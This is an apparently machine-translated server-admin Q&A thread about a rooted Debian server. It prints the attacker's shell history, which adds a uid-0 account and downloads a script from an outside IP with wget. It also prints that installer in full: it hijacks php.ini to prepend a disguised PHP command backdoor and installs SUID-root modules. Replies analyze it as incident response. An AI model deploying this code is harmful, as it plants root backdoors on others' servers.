web-dev-qa-db-ja.com

ルートの.bash_historyにある奇妙なシェルコマンドのセット

私のサーバー上のユーザーが私のサーバーをroot化したことをおそらく検出したばかりですが、それは私が求めていることではありません。

誰かがこれらのようなコマンドを見たことがありますか?

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

自動化されたスクリプトの作業のように思えますが、どちらかはわかりません。

誰かがこれについて手がかりを持っていますか?

OSはDebianLenny、カーネル2.6.30-bpo.2-686-bigmemです(それが重要な場合)。

ちなみに、上記のコードのリンクはマスクされています。ダウンロードしたコードが必要な場合は、分析用にコピーを作成したので、リクエストに応じて提供できます。

編集:興味があれば、参考として.shスクリプトの内容を添付します。

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
do
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <[email protected]>
* @author     Stig Bakken <[email protected]>
* @author     Tomas V.V.Cox <[email protected]>
* @author     Greg Beaver <[email protected]>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
    for(\$i=0;\$i<\$len;\$i++)
    {
        \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
    }

    return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
    {
        if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
            {
                \$data=base64_decode(\$_POST['suhosindata']);
                \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

                if(\$_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                }
                else if(\$_POST['suhosinaction']=="command")
                {
                    system(\$data);
                    print("SUHOSIN CMD\n");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,Apache*}/bin/*ctl,/usr/sbin/{http*,Apache*}ctl} 2>&1 | grep -v "No such"`
do
    echo "[*] restarting $ctl"
    `\$ctl restart`
done
rm $0

面白い。

5
mr.b

確かに興味深い。

私はこれまでこのことを見たことがありませんが、_suhosin14.sh_スクリプトを見ると、それは悪です。これは、システム上で検出できるすべての_php.ini_ファイルを変更し、PHPが、すべてのPHPにオンザフライでコードを追加することを期待しています。 =レンダリングされたWebページ(_auto_prepend_file_経由)。_suhosin14.sh_は、SUIDルートモジュールのペアもダウンロードしてインストールします。おそらく、ルートで実行するコードを先頭に追加しますPHP特権。

付加されたPHPスクリプト(_suhosin.php_)には、PHP用のSuhosinセキュリティパッチの一部であると主張するコメントヘッダーが含まれていますが、そうではありません。代わりに、スクリプトは監視します。特定のHTTP POST XOR難読化コマンドを含むリクエストの場合、難読化を解除して実行します(SUIDルートモジュールのおかげで、おそらくroot権限で)。

これがシステムで実行された場合は、ルート化されている可能性があります。 _suhosin14.sh_インストーラーが行ったことを元に戻す[具体的には、PHP prepend-script _suhosin.php_を削除し、SUIDルートモジュール_suhosin32.so_および_suhosin64.so_、そして元の_php.ini_ファイルを復元する]は、最初にインストーラーを正常に実行するために誰かがrootアクセスを取得する必要があるため、おそらく安全を確保するのに十分ではありません。 PHP prepend-scriptを介してリモートで送信された後続のコマンドは、任意の数のルートキットまたはその他のバックドアを簡単にインストールできた可能性があります。

ApacheログでPOST通常は取得しないはずのページへのリクエストPOSTリクエスト:これらはインスタンスである可能性が高い)をチェックすることを除いて、他に提案できることはあまりありません残念ながら、ログには実行されたコマンドは示されませんが、IPアドレスやタイムスタンプなどの他の有用な情報が得られる場合があります。

7
Steven Monday

これは数日前にも私に起こりました。万が一、DrupalまたはWordpressを使用していますか?これらのCMSのいずれかの脆弱性が原因である可能性があるかどうか知りたいのですが、これは3回発生し、いくつかの問題が発生しました。セキュリティ上の予防措置がありますが、それでもphp.iniファイルにsuhosin prependを追加できるようです。控えめに言っても非常に迷惑です。考えられる原因や解決策について、これ以上の情報をいただければ幸いです。

ありがとう、ジョセフ

0
josephgut

うわー、これはすごいです、木曜日にまったく同じことが私に起こりました、そして、彼らは私のサーバー全体を壊しました。何を修正する必要があるのか​​まだわかりません。誰か教えてもらえますか?

ログファイルで、これに関するいくつかの興味深い点を見つけました。だから私は誰かがそれに接続してサーバーにファイルをダウンロードしたことを知っています、それは非常に素晴らしいです。以前に投稿したものと同じIPを見つけました。

--2010-11-25 23:16:18-- http://178.17.163.181/cbsdx 178.17.163.181:80に接続しています...接続されています。 HTTPリクエストが送信され、応答を待っています... 200 OK長さ:8506(8.3K)[テキスト/プレーン]保存先:cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) - cbsdx '保存[8506/8506] [Thu Nov 25 23:17:41 2010 ] [通知] SIGHUPを受信しました。再起動を試みています

非常に興味深いのは、useraddについてのあなたのコメントです。

11月25日23:16:24s15398462 useradd [7815]:新しいユーザー:name = aspnet、UID = 0、GID = 0、home =/home/aspnet、Shell =/bin/bash

私はWordpressも使用しているので、これが問題である可能性がありますが、他にもいくつかのプログラムがあるので、誰が知っていますか。

0
Mirco